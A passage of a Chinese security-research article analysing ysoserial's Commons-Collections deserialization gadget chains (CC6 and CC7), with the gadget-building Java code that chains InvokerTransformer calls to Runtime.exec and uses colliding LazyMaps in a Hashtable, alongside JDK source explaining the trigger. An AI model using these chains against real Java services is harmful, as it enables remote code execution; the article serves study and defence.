    for (int i=0; i<size; i++) {
        @SuppressWarnings("unchecked")
            E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

在进行反序列化的过程中,实例化HashMap对象,并调用了map.put(e, PRESENT)方法。如果传入的e参数可控,并且可以赋值恶意的TiedMapEntry对象,即可执行恶意代码。e参数是通过调用readObject方法获取的,所以需要找到对应的将e参数进行序列化的writeObject方法。在HashSet#writeObject方法中找到了对应方法。

private void writeObject(java.io.ObjectOutputStream s)
    throws java.io.IOException {
    // Write out any hidden serialization magic
    s.defaultWriteObject();

    // Write out HashMap capacity and load factor
    s.writeInt(map.capacity());
    s.writeFloat(map.loadFactor());

    // Write out size
    s.writeInt(map.size());

    // Write out all elements in the proper order.
    for (E e : map.keySet())
        s.writeObject(e);
}

遍历map对象中的key值,并循环调用writeObject方法进行序列化。因此,需要将恶意的TiedMapEntry对象注入到HashMap的Key值中。HashMap的key属性存储在HashMap$Node类型的HashMap#table属性中,构造反射链获取key属性。
图片[1]-Ysoserial Commons-Collections 利用链分析 – 作者:深信服千里目安全实验室-安全小百科

Field f = HashSet.class.getDeclaredField("map");
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = HashMap.class.getDeclaredField("table");
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
    node = array[1];
}

Field keyField = node.getClass().getDeclaredField("key");
Reflections.setAccessible(keyField);
keyField.set(node, entry);

通过反射出HashMap的key,并将恶意TiedMapEntry对象赋值给key属性中。至此,利用链构造完成。
Commons-Collections7
CommonsCollections7的sink链使用的是InvokerTransformer反射接口,利用ChainedTransformer串联三次InvokerTransformer反射和ConstantTransformer接口,获取恶意的Runtime类。调用LazyMap.decorate方法,将恶意的ChainedTransformer赋值给LazyMap#factory,当调用LazyMap#get(Object key)方法,则会触发恶意代码的执行。(与CommonsCollections1、CommonsCollections5、CommonsCollections6的sink点相同)

final String[] execArgs = new String[]{command};

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

final Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec",
        new Class[]{String.class},
        execArgs),
    new ConstantTransformer(1)};

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

CommonsCollections7的sink点与之前的CC链的不同点在于,CommonsCollections7实例化两次LazyMap对象。
CommonsCollections7的source点选择Hashtable,具体gadget代码如下:

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

return hashtable;

Gadget中调用了两次Hashtable#put方法,将两个LazyMap对象放入了Hashtable中,最终调用remove清空lazyMap2中的yy元素。

目前存在两个问题:
1.为什么需要实例化两次LazyMap对象
2.为什么需要调用remove清空lazyMap2中的yy元素
解答这两个问题之前,需要跟踪一下反序列化流程。跟踪Hashtable#readObject方法

private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
{
    // Read in the length, threshold, and loadfactor
    s.defaultReadObject();

    // Read the original length of the array and number of elements
    int origlength = s.readInt();
    int elements = s.readInt();

    // Compute new size with a bit of room 5% to grow but
    // no larger than the original size.  Make the length
    // odd if it's large enough, this helps distribute the entries.
    // Guard against the length ending up zero, that's not valid.
    int length = (int)(elements * loadFactor) + (elements / 20) + 3;
    if (length > elements && (length & 1) == 0)
        length--;
    if (origlength > 0 && length > origlength)
        length = origlength;
    table = new Entry<?,?>[length];
    threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
    count = 0;

    // Read the number of elements and then all the key/value objects
    for (; elements > 0; elements--) {
        @SuppressWarnings("unchecked")
            K key = (K)s.readObject();
        @SuppressWarnings("unchecked")
            V value = (V)s.readObject();
        // synch could be eliminated for performance
        reconstitutionPut(table, key, value);
    }
}

在readObject方法中会根据Hashtable的元素个数判断调用reconstitutionPut(table, key, value)方法的次数,跟进reconstitutionPut方法。

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
    throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    @SuppressWarnings("unchecked")
        Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

在reconstitutionPut方法中会调用e.key.equals(key)方法。依靠之前的CommonsCollections利用链的经验,需要在入口类通过各种方法的调用,从而调用到LazyMap#get方法,CommonsCollections7的gadget构造思路也如此,Gadget作者通过调用equals方法,串联入口类和LazyMap。
由于在序列化对象构造时,将LazyMap对象作为Hashtable的key值传入到Hashtable的元素中。因此在调用e.key.equals(key)方法时,实质是调用LazyMap#equals方法。
图片[2]-Ysoserial Commons-Collections 利用链分析 – 作者:深信服千里目安全实验室-安全小百科
LazyMap继承于AbstractMapDecorator抽象类,从而调用AbstractMapDecorator#equals方法。

public boolean equals(Object object) {
    if (object == this) {
        return true;
    }
    return map.equals(object);
}

其中的map对象则是在调用LazyMap.decorate方法时传入的HashMap

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

因此最终调用HashMap继承的抽象类AbstractMap中的equals方法

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

并在AbstractMap#equals方法汇总调用传入对象的get方法。这里重点跟踪一下如何将LazyMap对象作为传入对象传入的,根据上述调用流程逆推,可以看到AbstractMap#equals(Object o)传入参数o是取决于reconstitutionPut方法中调用e.key.equals(key)方法中传入的key值。在这里可以解答上述提到的两个问题。
由于在Hashtable反序列化调用reconstitutionPut方法时,会判断tab数组中是否存在元素,如果存在,则进入for循环中调用e.key.equals(key)方法。

for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
    if ((e.hash == hash) && e.key.equals(key)) {

只有在调用第一次reconstitutionPut方法之后,将第一个Hashtable中的元素传入到tab数组中,在进行第二次调用时,才会保证tab数组非空,从而正常调用e.key.equals(key)方法。
图片[3]-Ysoserial Commons-Collections 利用链分析 – 作者:深信服千里目安全实验室-安全小百科
而调用两次reconstitutionPut方法的前提是,需要保证Hashtable中存在两个元素

for (; elements > 0; elements--) {
    @SuppressWarnings("unchecked")
        K key = (K)s.readObject();
    @SuppressWarnings("unchecked")
        V value = (V)s.readObject();
    // synch could be eliminated for performance
    reconstitutionPut(table, key, value);
}

并且为了保证e.key.equals(key)方法中 e.key是LazyMap对象,且传入的key参数也需要是LazyMap对象,因此需要实例化两次LazyMap对象,在Hashtable中进行key比较时,完成LazyMap的调用,从而完成利用链的构造。
调用remove清空lazyMap2中的yy元素,是为了保持两个LazyMap对象中的元素个数保持相同,由于在AbstractMap#equals方法中存在LazyMap元素个数比较的判断条件
图片[4]-Ysoserial Commons-Collections 利用链分析 – 作者:深信服千里目安全实验室-安全小百科
如果元素个数不同将直接返回false,不会调用后续的get请求,导致利用链失效。

来源:freebuf.com 2021-07-26 14:22:12 by: 深信服千里目安全实验室

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论